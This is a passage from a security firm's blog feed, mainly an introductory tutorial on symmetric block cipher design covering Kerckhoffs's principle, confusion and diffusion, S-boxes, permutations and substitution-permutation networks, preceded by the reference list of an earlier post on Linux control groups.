' will be published soon. &lt;br/> Follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/companies/schutzwerkgmbh/updates"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date.&lt;/li>
&lt;/ul>
&lt;h2 id="credits">Credits&lt;/h2>
&lt;p>&lt;em>Credits: The elaboration and software project associated to this subject are results of a Master&amp;rsquo;s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.&lt;/em>&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.kernel.org/doc/Documentation/cgroup-v2.txt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">1&lt;/span>
&lt;/a>&lt;a
href="https://www.kernel.org/doc/Documentation/cgroup-v2.txt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://www.kernel.org/doc/Documentation/cgroup-v2.txt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.kernel.org/doc/Documentation/cgroup-v2.txt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Group&lt;/span>
&lt;/a>&lt;a
href="https://www.kernel.org/doc/Documentation/cgroup-v2.txt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">v2&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.kernel.org/doc/Documentation/cgroup-v1/freezer-subsystem.txt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2&lt;/span>
&lt;/a>&lt;a
href="https://www.kernel.org/doc/Documentation/cgroup-v1/freezer-subsystem.txt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://www.kernel.org/doc/Documentation/cgroup-v1/freezer-subsystem.txt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">freezer-subsystem&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">3&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">groups,&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">part&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">3:&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">First&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">steps&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">control&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/de-de/foto/bunt-business-container-einfuhren-163726/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Title&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/de-de/foto/bunt-business-container-einfuhren-163726/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Image&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>Design of Modern Symmetric Ciphers</title><link>https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1/</link><author>Dr. Henning Kopp</author><pubDate>Wed, 14 Apr 2021 11:50:36 +0200</pubDate><category>cryptography</category><description>
&lt;p>The design of block ciphers is usually seen as a specialist topic.
Consequently, knowledge is mostly preserved in academic papers and there are only few introductory tutorials.
We aim to fill this gap between the IT security practitioner and the block cipher designer.
In this blog series we introduce differential cryptanalysis with a hands-on approach.
Our target group are IT security practitioners and programmers without a deep knowledge of math.&lt;/p>
&lt;p>The following list shows the topics of all scheduled blog posts of this series.
It will be updated with the corresponding links once new posts are being
released.&lt;/p>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">1:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">Design&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">Modern&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">Symmetric&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">Ciphers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2"
class="link-background inline split"
>
&lt;span class="link-label">2:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2"
class="link-background inline split"
>
&lt;span class="link-label">Differential&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2"
class="link-background inline split"
>
&lt;span class="link-label">Cryptanalysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2"
class="link-background inline split"
>
&lt;span class="link-label">Single-Round&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2"
class="link-background inline split"
>
&lt;span class="link-label">SPN&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>Part 3: Differential Cryptanalysis of a Multi-Round SPN&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>This first blog post in our series describes the design of symmetric block ciphers.
These are encryption algorithms, where the same secret key is
used for encryption and decryption.&lt;/p>
&lt;p>In the first part of this post, a solid foundation is laid by discussing design requirements for block
ciphers.
In particular, the notions of confusion and diffusion are discussed.
Next, we explain how modern encryption algorithms combine substitutions and
permutations in order to achieve these requirements.
Our article ends with the introduction of a full substitution
permutation network which is used in modern encryption algorithms.&lt;/p>
&lt;h2 id="design-requirements">Design Requirements&lt;/h2>
&lt;p>There are various design requirements for symmetric encryption algorithms.
These requirements changed over the years and have been refined
in accordance with mankinds growing understanding of encryption.&lt;/p>
&lt;p>Most importantly, an encryption algorithm is required to be &amp;ldquo;secure&amp;rdquo;.
That means that it is not susceptible to attacks under various
formalized attacker models.
However, in symmetric cryptography, strict mathematical security
proofs are hard to find.
Instead, the requirements have a flavor of design guidelines. If these
guidelines are not followed, then the encryption is probably
insecure. However, the converse is not always the case.&lt;/p>
&lt;h3 id="kerckhoffss-principle">Kerckhoffs&amp;rsquo;s Principle&lt;/h3>
&lt;p>One of the oldest design requirements for encryption algorithms is Kerckhoffs&amp;rsquo;s principle, named after
Auguste Kerckhoffs.
In 1883 he wrote
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.petitcolas.net/kerckhoffs/crypto_militaire_2.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">La&lt;/span>
&lt;/a>&lt;a
href="https://www.petitcolas.net/kerckhoffs/crypto_militaire_2.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">cryptographie&lt;/span>
&lt;/a>&lt;a
href="https://www.petitcolas.net/kerckhoffs/crypto_militaire_2.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">militaire&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
,
one of the first formal treatises on military encryption.
In this work, Kerckhoffs states with respect to a cryptographic system: &amp;ldquo;Il faut qu’il n’exige pas le secret,
et qu’il puisse sans inconvénient tomber entre les mains de l’ennemi.&amp;rdquo;
(It must not demand secrecy and it should not be a problem if it falls into the hands of the enemy.)
This means that the security of an encryption algorithm should only
depend on a secret key and not on a secret design.&lt;/p>
&lt;p>This design philosophy means that the construction plans of the cipher are published.
If the design is publicly available security has to depend only on the key.
In cryptography if there are no known attacks such a system is considered
more secure than a secret design, as it can be vetted by many
professionals.
The contrasting concept is called &amp;ldquo;Security by Obscurity&amp;rdquo;, i.e., a
system is only secure as long as the attacker does not know the
internals of the system.
Security by obscurity is now considered a bad practice and every
serious modern encryption algorithm follows Kerckhoffs&amp;rsquo;s principle.&lt;/p>
&lt;h3 id="shannons-confusion-and-diffusion">Shannons Confusion and Diffusion&lt;/h3>
&lt;p>However, Kerckhoffs&amp;rsquo;s principle alone does not imply any statement about
necessary statistical properties for the security of an encryption algorithm.
Statements on statistical properties have only been present in
design requirements from 1945 on.
In that year, Shannon&amp;rsquo;s work &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.iacr.org/museum/shannon45.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">A&lt;/span>
&lt;/a>&lt;a
href="https://www.iacr.org/museum/shannon45.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Mathematical&lt;/span>
&lt;/a>&lt;a
href="https://www.iacr.org/museum/shannon45.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Theory&lt;/span>
&lt;/a>&lt;a
href="https://www.iacr.org/museum/shannon45.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.iacr.org/museum/shannon45.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Cryptography&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
coined the
notions of &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://en.wikipedia.org/wiki/Confusion_and_diffusion"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">confusion&lt;/span>
&lt;/a>&lt;a
href="https://en.wikipedia.org/wiki/Confusion_and_diffusion"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://en.wikipedia.org/wiki/Confusion_and_diffusion"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">diffusion&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.
Only fully declassified in 2013, this work introduces the application of
statistical methods such as entropy in the field of cryptanalysis.&lt;/p>
&lt;p>Confusion means that each bit of the ciphertext should depend on
several parts of the key.
This property obscures the connection between the key and the
ciphertext.&lt;/p>
&lt;p>Diffusion means that each bit of the ciphertext should depend on
several parts of the plaintext.
This property obscures the connection between the plaintext and the
ciphertext.&lt;/p>
&lt;p>More formally, both of these properties are still heavily used in
cipher design under the term &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://en.wikipedia.org/wiki/Avalanche_effect"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">avalanche&lt;/span>
&lt;/a>&lt;a
href="https://en.wikipedia.org/wiki/Avalanche_effect"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">criterion&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.
The avalanche criterion says that if a single bit of the key is
flipped, then each bit of the ciphertext should flip with probability
1/2.
Similarly, if a single bit of plaintext is flipped, then each bit of
the ciphertext should flip with probability 1/2.&lt;/p>
&lt;h2 id="building-blocks">Building Blocks&lt;/h2>
&lt;p>Modern symmetric encryption algorithms use mainly two building
blocks. The first building block is a substitution, the second is a
permutation. In this section these two building blocks are explained
in more detail.&lt;/p>
&lt;h3 id="substitution">Substitution&lt;/h3>
&lt;p>In a substitution, a symbol of the text is substituted by another
symbol.&lt;/p>
&lt;p>An example of a cipher that consists only of a substitution is the
so-called &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://en.wikipedia.org/wiki/Caesar_cipher"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Caesar&lt;/span>
&lt;/a>&lt;a
href="https://en.wikipedia.org/wiki/Caesar_cipher"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">cipher&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
named after Julius Caesar.
In this cipher, each letter of the alphabet is shifted left or right
by a number of letters.
As an example, when rotating two letters to the right, the letter &amp;ldquo;a&amp;rdquo;
is exchanged by &amp;ldquo;c&amp;rdquo;, &amp;ldquo;b&amp;rdquo; is exchanged by &amp;ldquo;d&amp;rdquo;, &amp;ldquo;c&amp;rdquo; is exchanged by &amp;ldquo;e&amp;rdquo;
and so on.
The amount of the rotation is the secret key.&lt;/p>
&lt;p>Regarding confusion, if the key changes then each of the ciphertext
symbols changes. This change is not only with a probability, but is
always performed.
Regarding diffusion, if a single letter of the plaintext changes then
the single corresponding letter in the ciphertext changes as well. The
other letters in the ciphertext are not affected.&lt;/p>
&lt;p>Even though a single substitution offers practically no security as
the key space is small and the frequency of letters symbols is not hidden, it is
used as a building block for more complex ciphers.
In modern times, this building block is called a substitution box or
simply S-box.
These are lookup tables that map an input to an output.&lt;/p>
&lt;h3 id="permutation">Permutation&lt;/h3>
&lt;p>The second major building block for modern symmetric ciphers are permutations.&lt;/p>
&lt;p>The historical predecessor of permutations in cryptography is the
so-called &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://en.wikipedia.org/wiki/Scytale"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">skytale&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.
The skytale is a historical device for encrypting messages.
It is a cylinder on which a strip of parchment is wrapped around as shwon below.
The message is then written on the parchment.
When the strip is unwound again, the message cannot be read as the
order of the letters has changed.
Decryption is performed by wrapping the strip of parchment around a
cylinder of equal diameter as the first skytale.
Consequently, the diameter of the skytale serves as the secret key for the
encryption.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1/skytale_hu8d90a96f7d2eda3261cb69142b1bfc20_202001_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1/skytale_hu8d90a96f7d2eda3261cb69142b1bfc20_202001_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1/skytale_hu8d90a96f7d2eda3261cb69142b1bfc20_202001_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1/skytale.png"
width="1200"
height="686"
alt="An image of a skytale"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
An image of a skytale&lt;/figcaption>
&lt;/figure>
&lt;p>Regarding confusion, if the key changes, then the ciphertext symbols stay the
same, but their position changes.
Regarding diffusion, if a single letter of the plaintext changes then
the single corresponding letter in the ciphertext changes.&lt;/p>
&lt;p>In our modern age of computers, such a simple permutation offers
practically no security. However, as with the substitution, it is used
as a building block for more complex encryption algorithms.&lt;/p>
&lt;h2 id="modern-cryptography">Modern Cryptography&lt;/h2>
&lt;p>Modern symmetric ciphers are not based on letters anymore.
Instead, they use blocks of bits as the symbols of their alphabet. In block
ciphers, a plaintext of fixed size is mapped to a ciphertext of fixed
size using a key.
The size of the plaintext and ciphertext blocks is usually fixed in
the design of the cipher. For encrypting longer messages consisting
of multiple blocks, the encrypted single blocks are chained
using a so-called operation mode of the cipher.&lt;/p>
&lt;p>Confusion and diffusion is achieved by combining substitution and
permutation in a clever way. Further, in contrast to the Caesar cipher
and the skytale, the parameters of the permutation and substitution
are public. The key is applied separately onto the message by usage of
the boolean xor operation.&lt;/p>
&lt;h3 id="combining-substitutions-and-permutations">Combining Substitutions and Permutations&lt;/h3>
&lt;p>Let us first establish some observations which will lead us closer to
the goal of introducing a full substitution permutation network.&lt;/p>
&lt;p>Combining multiple substitutions one after the other is the same as applying a single
substitution on the plaintext.
Substituting the plaintext using an S-box, and then substituting it
again using a different S-box can be combined into a single step.
In the combined step, a lookup table is created by first looking up the
entry in the first S-box and then looking up the result as an entry in the second
S-box.
This combined lookup table describes the result of applying the two
S-boxes sequentially.
Consequently, combining multiple substitutions in a series does not
increase their complexity.&lt;/p>
&lt;p>The same is true for permutations.
Intuitively speaking, first applying a permutation and then another
permutation is the same as applying a permutation that is the
combination of the two permutations.
Mathematically, this follows from the fact that permutations form a group &amp;ndash; the so-called
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://en.wikipedia.org/wiki/Permutation_group"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">permutation&lt;/span>
&lt;/a>&lt;a
href="https://en.wikipedia.org/wiki/Permutation_group"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">group&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&amp;ndash; where the group operation is sequential composition of the permutations.&lt;/p>
&lt;p>Consequently, applying multiple permutations or multiple substitutions
directly in sequence does not increase the security of the encryption
algorithm.
Instead they need to be applied alternately.&lt;/p>
&lt;h3 id="interleaving-substitutions-and-permutations">Interleaving Substitutions and Permutations&lt;/h3>
&lt;p>As we have established in the last paragraph, applying multiple
substitutions or multiple permutations directly in sequence does not
yield any benefit.
However, When the substitutions and permutations are interleaved
their operation cannot be replaced by a simpler step.
Further, note that substitutions and permutations do not commute,
i.e., their order cannot be exchanged.
Consequently, we examine the alternate application of substitutions and
permutations. More specifically, we use multiple S-boxes for
substitution, and use the permutation to spread the outputs of an
S-box over the inputs of the next S-boxes.
This way, the S-boxes stay small and thus easy to analyze.&lt;/p>
&lt;p>The following figure shows a typical notation of such a network
consisting of substitutions and permutations.&lt;/p>
&lt;figure
style="width:160px;"
>
&lt;img
src="/en/blog/differential-cryptanalysis-1/spsp.svg"alt="A schematic diagram showing substitutions and permutations alternatively"/>&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
A schematic diagram showing substitutions and permutations alternatively&lt;/figcaption>&lt;/figure>
&lt;p>The data flow in this figure is from top to bottom.
The input to the whole schematic consists of 16 bits; each wire holds
a single bit.
The S-box is a box where a substitution is applied to four bits
each.
That means that an input of four bits is substituted by four bits
using a table lookup.
In this schematic we use the same S-box for all substitutions.
There may be cases though, where multiple different S-boxes are used.
The part where the wires cross is the permutation. This permutation
spreads the bits of the input over multiple parts of the output.&lt;/p>
&lt;p>Let us now take a look at the property of diffusion.
Recall, that diffusion means that each bit of the output should depend
on several parts of the plaintext.
If one bit is flipped in the input, say the first one, then the first
S-box has a different output.
The first permutation spreads the new output of the first S-box over
the first, second and third S-box of the next round.
Consequently, their outputs change as well.
In the next permutation, the changes are spread over all four
S-boxes.
In summary, by flipping a single bit in the input, every bit of the output
is affected.&lt;/p>
&lt;p>Regarding the property of confusion, i.e., the relationship between
the key and the ciphertext, first the key needs to be defined.
As the permutations and substitutions affect the overall properties
of the cipher heavily, these are usually kept public and the key is
processed separately.
If the key would be integrated in the substitutions or the
permutations, different keys would offer different security levels.
As an example, a key may correspond to the identity substitution,
i.e., no substitution at all, and thus offer only marginal security.&lt;/p>
&lt;h3 id="integrating-the-secret-key">Integrating the Secret Key&lt;/h3>
&lt;p>Let us take a step back and try to integrate the secret key into a
simpler network.&lt;/p>
&lt;p>If an encryption routine is defined by simply xoring the key onto the
plaintext the resulting algorithm is vulnerable.
If a single plaintext/ciphertext pair is given to the attacker the key can be
recovered.
More specifically, the key is the plaintext block xor the ciphertext
block.&lt;/p>
&lt;p>Consequently, we need to add more components to achieve a secure
cipher. As our network above consists of multiple rounds, it seems
natural to split the secret key and process each partial key in each
round. These partial keys are usually called round keys, as they are
used in the different rounds of the encryption algorithm.
In modern proposals round keys are not parts of the main key, but are
derived using more complex operations.&lt;/p>
&lt;p>For our purposes, define the key as consisting of two parts: k0 and
k1. These partial keys are used as round keys.
Next, we evaluate the two possibilities of creating a more
complex cipher: xor k0, permute, xor k1, and xor k0, substitute, xor
k1.&lt;/p>
&lt;h4 id="xor-k0-permute-xor-k1">xor k0, permute, xor k1&lt;/h4>
&lt;p>Define an encryption algorithm by xoring the plaintext with k0, then
applying a publicly known permutation, and xoring again with k1.
The resulting data is the ciphertext.
A schematic of these operations can be found below.&lt;/p>
&lt;figure
style="width:46px;"
>
&lt;img
src="/en/blog/differential-cryptanalysis-1/kpk.svg"alt="kpk.svg"/>&lt;/figure>
&lt;p>Note that all of these operations commute and are not dependent on the
plaintext.
This sequence of operations can be exchanged by permuting the
plaintext first and then xoring by the xor of the permuted k0 and k1.
The result is one permutation and only one xor operation with a
modified key derived from k0 and k1.
Consequently, this combination of operations does not offer more
security, as it can be computed using simpler operations.&lt;/p>
&lt;h4 id="xor-k0-substitute-xor-k1">xor k0, substitute, xor k1&lt;/h4>
&lt;p>Define an encryption algorithm by xoring the plaintext with k0, then
applying a publicly known substitution, and xoring again with k1.
The schematic of this procedure can be found below.&lt;/p>
&lt;figure
style="width:50px;"
>
&lt;img
src="/en/blog/differential-cryptanalysis-1/01_differential.svg"alt="01_differential.svg"/>&lt;/figure>
&lt;p>Note that the xor operation and the substitution does not commute, i.e., the
order of operations cannot be changed.
There is no way to substitute this construction with simpler operations.
And in fact, this minimalist cipher
known as the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.cs.technion.ac.il/users/wwwb/cgi-bin/tr-get.cgi/1991/CS/CS0698.revised.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Even-Mansour&lt;/span>
&lt;/a>&lt;a
href="https://www.cs.technion.ac.il/users/wwwb/cgi-bin/tr-get.cgi/1991/CS/CS0698.revised.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">scheme&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
is one of the smallest ciphers for which a security guarantee can be
proven in a formal sense.&lt;/p>
&lt;p>With a single S-box this construction already offers confusion.
If a bit of the key k0 is flipped, then the input to the S-box changes
and consequently all output bits of the S-box are affected by this bit
flip in the key.
The same holds true for flipping an input bit of the plaintext.&lt;/p>
&lt;p>Consequently, this way of integrating a secret key is what we will be using in order to build a full
substitution permutation network, as it is used in modern cipher design.&lt;/p>
&lt;h3 id="a-full-substitution-permutation-network">A Full Substitution Permutation Network&lt;/h3>
&lt;p>Summarizing our points from above, an xor of the round key
together with a substitution is used to achieve confusion. The permutations are
used for the diffusion.
The parameters for the substitution, as well as for the permutation
are publicly known.
The only secret ingredient are the round keys.
Therefore, Kerckhoffs&amp;rsquo;s principle is satisfied.&lt;/p>
&lt;p>The full construction of a substitution permutation network (SPN) is given
in the figure below.&lt;/p>
&lt;figure
style="width:180px;"
>
&lt;img
src="/en/blog/differential-cryptanalysis-1/spn.svg"alt="spn.svg"/>&lt;/figure>
&lt;p>This figure shows a construction with three rounds and four round keys.
In the last round the permutation is omitted as it is easy to undo
without knowledge of the key and thus does not add security.
The subkey mixing is usually done by xoring the round key with the
wires, but there may be other options. In order to be more general the
term &amp;ldquo;subkey mixing&amp;rdquo; is used in the schematic.&lt;/p>
&lt;p>A modern encryption algorithm has many more rounds.
In the advanced encryption standard AES the number of rounds is 10,
12, or 14 depending on the key length.&lt;/p>
&lt;p>The round keys (k0, k1, k2, and k3 in our case) are usually derived
from the main key using a key schedule. However, this is beyond the
scope of our introduction.&lt;/p>
&lt;h2 id="resources">Resources&lt;/h2>
&lt;ul>
&lt;li>For further reading on the design of a modern cipher, we suggest the
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="http://www.moserware.com/2009/09/stick-figure-guide-to-advanced.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Stick&lt;/span>
&lt;/a>&lt;a
href="http://www.moserware.com/2009/09/stick-figure-guide-to-advanced.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Figure&lt;/span>
&lt;/a>&lt;a
href="http://www.moserware.com/2009/09/stick-figure-guide-to-advanced.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Guide&lt;/span>
&lt;/a>&lt;a
href="http://www.moserware.com/2009/09/stick-figure-guide-to-advanced.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="http://www.moserware.com/2009/09/stick-figure-guide-to-advanced.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">AES&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
for a nontechnical introduction.&lt;/li>
&lt;li>Regarding the graphics, we are grateful for &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.iacr.org/authors/tikz/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Tikz&lt;/span>
&lt;/a>&lt;a
href="https://www.iacr.org/authors/tikz/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://www.iacr.org/authors/tikz/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Cryptographers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
which saved us a lot of time.&lt;/li>
&lt;li>The image of the Skytale is from &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://commons.wikimedia.org/wiki/File:Skytale.png"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Wikimedia&lt;/span>
&lt;/a>&lt;a
href="https://commons.wikimedia.org/wiki/File:Skytale.png"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Commons&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
